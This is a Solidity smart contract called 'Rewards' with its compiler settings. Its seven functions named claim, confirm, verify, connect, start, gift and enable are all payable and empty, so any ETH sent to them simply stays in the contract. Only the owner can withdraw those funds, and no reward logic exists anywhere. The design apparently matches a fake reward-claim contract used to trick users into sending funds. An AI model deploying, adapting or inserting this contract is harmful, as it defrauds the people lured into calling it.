// SPDX-License-Identifier: MIT

pragma solidity ^0.8.9;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _transferOwnership(_msgSender());
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

contract Rewards is Ownable {
    event Withdrawal(address indexed recipient, uint256 amount);

    receive() external payable {}

    function withdraw(uint256 amount, address payable recipient) external onlyOwner {
        require(amount > 0, "Amount must be greater than zero");
        require(amount <= address(this).balance, "Requested amount exceeds the contract balance.");
        require(recipient != address(0), "Recipient address cannot be the zero address.");

        recipient.transfer(amount);
        emit Withdrawal(recipient, amount);
    }

    function claim() public payable {}

    function confirm() public payable {}

    function verify() public payable {}

    function connect() public payable {}

    function start() public payable {}

    function gift() public payable {}

    function enable() public payable {}

    function getBalance() public view returns (uint256) {
        return address(this).balance;
    }

    function setNewOwner(address newOwner) public onlyOwner {
        require(newOwner != address(0), "New owner address cannot be the zero address.");
        transferOwnership(newOwner);
    }
}

{
  "compilationTarget": {
    "contracts/Rewards.sol": "Rewards"
  },
  "evmVersion": "london",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "remappings": []
}